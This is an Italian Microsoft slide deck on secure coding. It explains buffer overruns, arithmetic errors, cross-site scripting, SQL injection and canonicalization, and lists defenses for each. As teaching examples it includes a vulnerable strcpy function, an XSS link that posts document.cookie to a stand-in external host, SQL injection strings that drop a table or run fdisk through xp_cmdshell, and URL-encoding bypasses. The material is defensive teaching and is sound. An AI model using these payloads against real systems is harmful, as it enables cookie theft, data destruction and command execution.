Scrivere codice sicuro
Fabio Santini
.NET Senior Developer Evangelist
[email protected]
Microsoft Italy
Agenda







Buffer Overruns
Errori aritmetici
CSS (Cross-Site Scripting)
SQL Injection
Canonicalization
Isolated Storage
ViewState
La necessità di codice protetto
"Il recente attacco di un hacker
potrebbe aver causato danni a
circa 1500 siti Web”
“Porto USA colpito
da un hacker inglese”
“La pirateria ha causato la perdita di
4.300 posti di lavoro ed ha provocato
danni per 850 milioni di dollari”
“Diverse aziende hanno dichiarato di aver
perso 10 milioni di dollari in un solo attacco”
“Il virus Sobig ha provocato in
tutto il mondo danni pari a
30 miliardi di dollari”
“Gli attacchi costeranno all'economia
mondiale 1,6 trilioni di dollari
quest'anno”
Cos'è un Buffer Overrun



Si verifica quando i dati superano la
dimensione prevista e sovrascrivono
altri valori
È frequente soprattutto nel codice C/C++ non
gestito
Può essere di quattro tipi:





buffer overrun basato sullo stack
buffer overrun dell'heap
Sovrascrittura della v-table e del puntatore a funzione
Sovrascrittura del gestore eccezioni
Può essere sfruttato dai worm
Possibili conseguenze dei
sovraccarichi buffer
Possibile conseguenza
Obiettivo dell'hacker
Violazione dell'accesso
Realizzare gli attacchi DoS
(denial of service) contro i server
Instabilità
Interferire con il normale
funzionamento del software
Inserimento di codice
Ottenere privilegi per il proprio
codice
Sfruttare dati aziendali di vitale
importanza
Eseguire azioni distruttive
Esempio di sovraccarico
buffer basato sullo stack
Parte
superiore
dello stack
void UnSafe (const char* uncheckedData)
char[4]
{
char localVariable[4];
int anotherLocalVariable;
int
Indirizzo di
ritorno
strcpy (localVariable, uncheckedData);
}
I buffer overrun dell'heap


Sovrascrivono i dati memorizzati
nell'heap
Sono più difficili da sfruttare
di un buffer overrun
Dati
Puntatore
Dati
strcpy
Dati
xxxxxxx
Puntatore
xxxxxxx
Puntatore
Come difendersi dai buffer overrun
(1 di 2)

Utilizzare con particolare cautela le
seguenti funzioni:






strcpy
strncpy
CopyMemory
MultiByteToWideChar
Utilizzare l'opzione di compilazione /GS
in Visual C++ per individuare i
sovraccarichi buffer
Utilizzare strsafe.h per un gestione del
buffer più sicura
Come difendersi dai buffer
overrun (2 di 2)
DEMO
Gli errori aritmetici




Si verificano quando vengono superati i
limiti di una variabile
Causano gravi errori in fase di esecuzione
Vengono spesso sottovalutati
Includono:


Overflow – valore troppo grande per il tipo di
dati
Underflow – valore troppo piccolo per il tipo
di dati
Come difendersi dagli errori
aritmetici




Tenere conto dei limiti del tipo di dati
scelto
Scrivere codice a prova di attacchi che
verifichi la presenza di overflow
Scrivere funzioni sicure e riutilizzabili
Utilizzare una classe sicura basata su
modello (se si scrive codice in C++)
DEMO
Cos'è il CSS?

Una tecnica che consente agli hacker di:




Eseguire script dannoso nel browser Web
di un client
Inserire tag <script>, <object>, <applet>,
<form> e <embed>
Rubare informazioni sulla sessione Web e
cookie di autenticazione
Accedere al computer client
Qualsiasi pagina Web che esegue il rendering HTML
e contenente input dell'utente è vulnerabile
Due impieghi comuni del
CSS


Attaccare le piattaforme di posta
elettronica basate sul Web e i forum
Utilizzo dei tag <form> HTML per
reindirizzare informazioni private
Attacchi basati su form (1 di 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
Attacchi basati su form (2 di 2)
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www.
nwtraders.msft/data.asp
method=post id=“idForm”>
<INPUT name=“cookie” type=“hidden”>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
here
</a>
Come difendersi dagli
attacchi CSS

Operazioni da non eseguire:




Considerare attendibile l'input dell'utente
Attivare l'eco dell'input dell'utente basato
sul Web a meno che non sia stato
convalidato
Memorizzare informazioni segrete nei cookie
Operazioni da eseguire:


Utilizzare l'opzione del cookie HttpOnly
Sfruttare le funzionalità di ASP.NET
DEMO
Cos'è l'SQL Injection?

L'SQL Injection è:


L'aggiunta di istruzioni SQL nell'input
dell'utente
Viene utilizzato dagli hacker per:




Effettuare la scansione dei database
Ignorare l'autorizzazione
Eseguire più istruzioni SQL
Richiamare stored procedure incorporate
Esempi di SQL Injection
sqlString = "SELECT HasShipped FROM"
+ " OrderDetail WHERE OrderID ='"
+ ID + "'";

Se la variabile ID viene letta direttamente
da una casella di testo di un Web Form o
di un form di Windows, l'utente potrebbe
immettere:




ALFKI1001
ALFKI1001' or 1=1 -ALFKI1001' DROP TABLE OrderDetail -ALFKI1001' exec xp_cmdshell('fdisk.exe') --
Come difendersi dall'SQL Injection

Verificare che l'input non sia infetto.




Eseguire con i privilegi più bassi




Considerare tutto l'input pericoloso fino a
quando non viene dimostrato il contrario
Cercare dati validi e respingere tutto il resto
Utilizzare espressioni regolari per rimuovere
i caratteri indesiderati
Non eseguire mai come “sa”
Limitare l'accesso a stored procedure
incorporate
Utilizzare stored procedure o query con
parametri SQL per accedere ai dati
Non attivare l'eco di errori ODBC
DEMO
Problemi di Canonicalization



Generalmente esistono più metodi
per assegnare i nomi
Sono disponibili rappresentazioni
alternative per:
Nomi file
URL
Periferiche (ad esempio stampanti)
Gli hacker possono sfruttare il codice che
consente di effettuare determinate
operazioni in base ai nomi file o agli URL
Problemi di Canonicalization
Esempio 1 – Nomi file
1.
2.
3.
4.
MyLongFile.txt
MyLongFile.txt.
MyLong~1.txt
MyLongFile.txt::$DATA
Problemi di Canonicalization
Esempio 2 – Rappresentazione dei
caratteri

Esistono molti modi per rappresentare
i caratteri su Internet
http://www.microsoft.com/technet/security
Equivale a http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity
http://www.microsoft.com%c0%aftechnet%c0%afsecurity
http://www%25%32%65microsoft.com/technet/security
http://172.43.122.12 = http://2888530444
DEMO
© 2002 Microsoft Corporation. All rights reserved.
This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.
Scarica

WritingSecurity